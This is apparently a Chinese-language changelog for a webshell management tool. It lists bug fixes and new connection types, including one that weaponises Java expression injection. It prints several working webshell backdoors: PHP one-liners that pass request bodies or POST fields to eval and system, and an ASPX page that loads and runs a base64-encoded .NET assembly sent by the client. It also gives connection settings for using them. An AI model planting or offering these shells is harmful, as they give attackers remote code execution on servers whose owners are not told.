• 修复 PHP/PHP4 当前目录不可写时, bypass open_basedir 失败的 Bug

• 修复 JSP/MySQL类型在表名中有特殊字符时执行异常的 Bug (thx @powersploit)
  

• ❗❗❗新增 PHPRAW 类型, 该类型支持的 WebShell 类似如下代码:

<?php  eval(file_get_contents("php://input")); ?>

          为了方便在团队协作时直连 Behinder3 WebShell, 已内置编码器，仅能支持连接而已，发送Payload不相同

• ❗❗❗新增 ASPXCSharp 类型

        该类型支持的 WebShell 类似如下代码:

<%@ Page Language="c#"%><%  String Payload = Request.Form["ant"];  if (Payload != null)  {    System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));    assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);  }%>

    有关该类型的设计说明, 请参考文章 聊聊新类型 ASPXCSharp

• ❗❗❗新增 PSWindows 类型，与 CMDLinux 类似

基于命令执行的一句话类型, 仅支持 Windows 环境

该类型支持的 WebShell 类似如下代码:

<?php system($_POST["ant"]);?>

有关 PSWindows 的一些注意事项和原理说明, 请参考 新类型 PSWindows 预览

• ❗❗❗JSPJS 兼容各种表达式注入

具体请看 spelbase64、el、ognl 这三个内置编码器样例, 详细请参考 Java表达式注入的武器化利用

URL: ws://127.0.0.1:8080/demoendpointPWD: 随便填写连接类型: CMDLinuxEncoder: default (明文, 这个是WebShell端决定的)Decoder: 根据情况自由选择

html: 'text/html',json: 'application/json',xml: 'text/xml',urlencoded: 'application/x-www-form-urlencoded',form: 'application/x-www-form-urlencoded',form-data: 'application/x-www-form-urlencoded'

// 连接类型 CMDLinux, 编码器选择 default 明文// 其它设置里 勾选「Body 设置为 RAW 模式」后可连接<?php system(file_get_contents("php://input"));?>// 与上面作对比// 连接类型 CMDLinux, 密码填 ant, 编码器选择 default 明文<?php system($_POST["ant"]);?>